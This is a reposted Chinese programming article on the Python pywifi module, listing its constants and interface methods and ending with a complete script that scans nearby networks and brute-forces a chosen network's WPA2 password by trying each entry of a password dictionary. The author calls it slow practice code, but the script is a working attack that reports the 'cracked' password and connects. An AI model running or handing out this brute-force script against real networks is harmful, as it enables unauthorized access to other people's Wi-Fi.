iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > Python >python中pywifi的具体使用
  • 520
分享到

python中pywifi的具体使用

pythonpywifi 2023-03-06 11:03:18 520人浏览 泡泡鱼

Python 官方文档:入门教程 => 点击学习

摘要

目录写在前面pywifi常量接口wifi连接代码写在前面 无线AP(Access Point):即无线接入点 python的wifi管理模块叫pywifi 安装 pip instal

写在前面

无线AP(Access Point):即无线接入点

python的wifi管理模块叫pywifi

安装

pip install pywifi

pywifi

常量

接口状态
Interface.status()将返回以下状态代码之一。

const.IFACE_DISCONNECTED # 无连接
const.IFACE_SCANNING # 扫描中
const.IFACE_INACTIVE # 激活
const.IFACE_CONNECTING    # 连接中
const.IFACE_CONNECTED    # 连接

身份验证算法

身份验证算法应辅助到配置文件中。 在正常情况下,几乎所有AP都使用开放算法。

const.AUTH_OPEN    # 授权打开
const.AUTH_SHARED # 身份验证共享

密钥管理类型

密钥管理类型应分配给配置文件。

对于普通 AP,如果

AP 不是安全设置,请将配置文件 AKM 设置为 。AKM_TYPE_NONE
AP 处于 WPA 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPAPSK
AP 处于 WPA2 模式,将配置文件 AKM 设置为 。AKM_TYUPE_WPA2PSK 
AKM_TYPE_WPA并由企业 AP 使用。AKM_TYPE_WPA2

const.AKM_TYPE_NONE
const.AKM_TYPE_WPA
const.AKM_TYPE_WPAPSK
const.AKM_TYPE_WPA2
const.AKM_TYPE_WPA2PSK # 一般用这个

密码类型
如果 akm 不是,则应将密码类型设置为配置文件。 您可以参考要连接的AP的设置。AKM_TYPE_NONE

const.CIPHER_TYPE_NONE
const.CIPHER_TYPE_WEP
const.CIPHER_TYPE_TKIP
const.CIPHER_TYPE_CCMP

网络配置文件
配置文件是我们要连接到的AP的设置。 配置文件的字段:

  • ssid- AP 的 ssid/wifi的名字
  • auth- AP 的身份验证算法。
  • akm- AP 的密钥管理类型。
  • cipher- AP 的密码类型。
  • key (最佳) - AP 的键。 如果密码不是 ,则应设置此项。CIPHER_TYPE_NONE

接口

接口是指我们用来执行的 Wi-Fi 接口 Wi-Fi 操作(例如扫描、连接、断开连接等)。

首先:获取接口信息
通常,平台中将只有一个Wi-Fi接口。 因此,使用索引 0 00 获取 Wi-Fi 接口。

import pywifi

wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]

Interface.name()
获取 Wi-Fi 接口的名称。

Interface.scan()
触发接口扫描 APs。

Interface.scan_results()
获取上一次触发扫描的结果。 将返回配置文件列表。
注意:因为每个 Wi-Fi 接口的扫描时间都是不同的。 2~8秒后拨打更安全。

Interface.add_network_profile(profile)
添加 AP 配置文件以便稍后连接。

Interface.remove_all_network_profiles()
卸下所有AP配置文件。

Interface.network_profiles()
通过返回配置文件列表获取所有已保存的AP配置文件。

Interface.connect(profile)
通过给定配置文件连接到指定的 AP。注意。作为当前的设计,应该是 之前调用的被调用。add_network_profile(profile)connect(profile)

Interface.disconnect()
断开当前 AP 连接。

Interface.status()
获取当前状态的状态。

wifi连接代码

pywifi原理就是操纵网卡,一个一个的试密码,直到密码正确,这时电脑也会连上这个wifi。
效率极低,就用来练手就行
害,加上2个字会过不了审核我不理解。这东西又不会真的拿去用,连接一次就得2秒,跑完字典不知道要多久去了。

# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime


# 输入wifi名称
def wifi_scan():
    print("开始扫描wifi,请等待...")
    iface.scan()  # 扫描
    time.sleep(3)
    results = iface.scan_results()  # 扫描结果
    a = set()
    for data in results:  # 每一个wifi创建一个对象
        if data.ssid not in a:
            a.add(data.ssid)
            print(data.ssid.encode('raw_unicode_escape').decode('utf-8'))


# 测试连接,返回链接结果
def wifi_connect(pwd):
    # 断开所有连接
    iface.disconnect()
    time.sleep(0.5)

    # 测试网卡是否属于断开状态
    wifi_status = iface.status()
    if wifi_status == const.IFACE_DISCONNECTED:
        # 创建WiFi连接文件
        profile = pywifi.Profile()
        # 要连接WiFi的名称
        profile.ssid = name
        # 网卡的开放状态
        profile.auth = const.AUTH_ALG_OPEN
        # wifi加密算法,一般wifi加密算法为wps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 加密单元
        profile.cipher = const.CIPHER_TYPE_CCMP
        # 设定连接文件
        iface.add_network_profile(profile)
        # 调用密码
        profile.key = pwd

        # 删除所有连接过的wifi文件
        iface.remove_all_network_profiles()

        # 设定新的连接文件
        tep_profile = iface.add_network_profile(profile)
        iface.connect(tep_profile)

        # wifi连接时间
        time.sleep(1)
        if iface.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False

    else:
        print("已有wifi连接")


def readPassword():
    print("开始破解:")
    # 密码字典路径"密码本路径"
    path = "路径"
    i = 0
    # 打开密码字典逐行读取
    with open(path, 'r') as f:
        for line in f:
            pwd = line.strip('\n')
            if 8 < len(pwd) < 16:
                # 一行一行读取
                i += 1
                if i % 10 == 0:
                    print("正在进行第{}次尝试".fORMat(i))
                b = wifi_connect(pwd)
                if b:
                    print("密码已破解: ", pwd)
                    print("WiFi已自动连接!!!")
                    break


# 抓取网卡接口
wifi = pywifi.PyWiFi()
# 获取第一个wifi接口
iface = wifi.interfaces()[0]
# 输出全部wifi
wifi_scan()
# 输入wifi名称
name = input("请输入wifi名称:").encode('utf-8').decode('raw_unicode_escape')
start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
print("破解WIFI密码一共用了多长时间:{}".format(end - start))

到此这篇关于Python中pywifi的具体使用的文章就介绍到这了,更多相关python pywifi内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: python中pywifi的具体使用

本文链接: https://www.lsjlt.com/news/198584.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • python中pywifi的具体使用
    目录写在前面pywifi常量接口wifi连接代码写在前面 无线AP(Access Point):即无线接入点 python的wifi管理模块叫pywifi 安装 pip instal...
    99+
    2023-03-06
    python pywifi
  • python中pywifi如何使用
    这篇文章主要讲解了“python中pywifi如何使用”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“python中pywifi如何使用”吧!写在前面无线AP(Access Point):即无...
    99+
    2023-07-05
  • Python中collections.Counter()的具体使用
    目录Counter类创建计数值的访问与缺失的键计数器的更新键的删除elements()most_common([n])fromkeys浅拷贝copy算术和集合操作常用操作Counter类 Counter类的目的是用...
    99+
    2022-06-02
    Python collections.Counter()
  • python-httpx的具体使用
    目录安装创建请求自定义头部超时时间SSL证书认证请求类型Query ParamsForm表单文件上传JSON二进制数据响应响应类型Cookie重定向历史httpx.Client合并/...
    99+
    2022-11-12
  • Python中typing模块的具体使用
    目录typing库一、 简介二、 别名1、 类型别名2、 NewType3、 可调用对象三、 泛型支持1、集合类型2、 抽象基类3、 泛型4、 Any5、 特殊形式5.1 Type5...
    99+
    2022-11-11
  • Python中range()与np.arange()的具体使用
    目录np.arange()range()range()和np.arange()区别np.arange() np.arange()函数返回一个有终点和起点的固定步长的排列,如[1,2,...
    99+
    2022-11-12
  • Python中str.format()方法的具体使用
    目录1. 术语说明 2. 简单字段名 2.1 简单字段名的说明 2.2 省略字段名 2.3 数字形式的简单字段名 2.4 变量名形式的简单字段名 2.5 简单字段名的混合使用 2.6...
    99+
    2022-11-12
  • python中decimal模块的具体使用
    decimal模块主要的作用是精确小数,因为float是不精确的,只是无限接近,对于一些需要精确小数点后位数的就需要用decimal。 Decimal类型的优点 Decimal类型是...
    99+
    2023-01-29
    python decimal模块 python decimal
  • python中networkx函数的具体使用
    目录1. 介绍1.1 前言1.2 图的类型(Graph Types)1.3 常用方法2. 代码示例1. 介绍 1.1 前言 NetworkX是复杂网络研究领域中的常用Python包。...
    99+
    2023-02-14
    python networkx使用 python networkx
  • Python中的axis参数的具体使用
    目录一、axis简介二、不一样的axis对于axis=0三、总结补充:python中某些函数axis参数的理解 在我们使用Python中的Numpy和Pandas进行数据分析的时候,...
    99+
    2022-11-12
  • python具名元组(namedtuple)的具体使用
    目录具名元组元组操作属性排序与字典比较数据类dataclass修饰继承NamedTuplecollections.namedtuple用于构造带字段名的元组。对应类型为typing....
    99+
    2023-03-21
    python具名元组
  • Python中Tkinter组件Button的具体使用
    目录简介何时使用 Button 组件?用法参数方法简介 Button(按钮)组件用于实现各种各样的按钮。Button 组件可以包含文本或图像,你可以将一个 Python 的函数或方法...
    99+
    2022-11-12
  • Python中Tkinter组件Listbox的具体使用
    目录何时使用 Listbox 组件?用法参数方法Listbox(列表框)组件用于显示一个选择列表。Listbox 只能包含文本项目,并且所有的项目都需要使用相同的字体和颜色。根据组件...
    99+
    2022-11-12
  • Python中Tkinter组件Frame的具体使用
    目录何时使用 Frame 组件?用法参数Frame(框架)组件是在屏幕上的一个矩形区域。Frame 主要是作为其他组件的框架基础,或为其他组件提供间距填充。 何时使用 Frame 组...
    99+
    2022-11-12
  • Python中Tkinter组件Menu的具体使用
    目录何时使用 Menu 组件?用法参数方法Menu(菜单)组件用于实现顶级菜单、下拉菜单和弹出菜单。 何时使用 Menu 组件? Menu 组件通常被用于实现应用程序上的各种菜单,由...
    99+
    2022-11-12
  • python中with的具体用法
    目录简介深入代码简介 with的基本表达式如下 with context_expression [as target(s)]: ... with-body 其中co...
    99+
    2023-02-23
    python with使用 python with
  • Python中变量的作用域的具体使用
    目录前言一、局部变量二、全局变量前言 变量的作用域是指程序代码能够访问该变量的区域,如果超出该区域,再访问时就会出现错误。在程序中,一般会根据变量的 “有效范围&rdqu...
    99+
    2023-03-13
    Python 变量作用域 Python 作用域
  • python Pygame的具体使用讲解
    一、实验介绍 1.1 实验内容 在本节课中,我们将讲解Pygame的常用对象及其操作,包括图形、动画、文字、音频等,确保同学们对Pygame有一个基础的了解,同时为后续课程做好准备。 1.2 实验知识点 ...
    99+
    2022-06-04
    python Pygame
  • python[::-1][::-1,::-1]的具体使用
    目录一、 [::-1]二、 [::-1,::-1]一、 [::-1] import numpy as np import numpy as np x = np.arange(1, ...
    99+
    2022-11-11
  • Python try-except-else-finally的具体使用
    目录try-excepttry-except-elsetry-finallytry-except 作用:处理异常情况 用法:try:后面写正常运行的代码,except + 异常情况:...
    99+
    2022-11-12
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作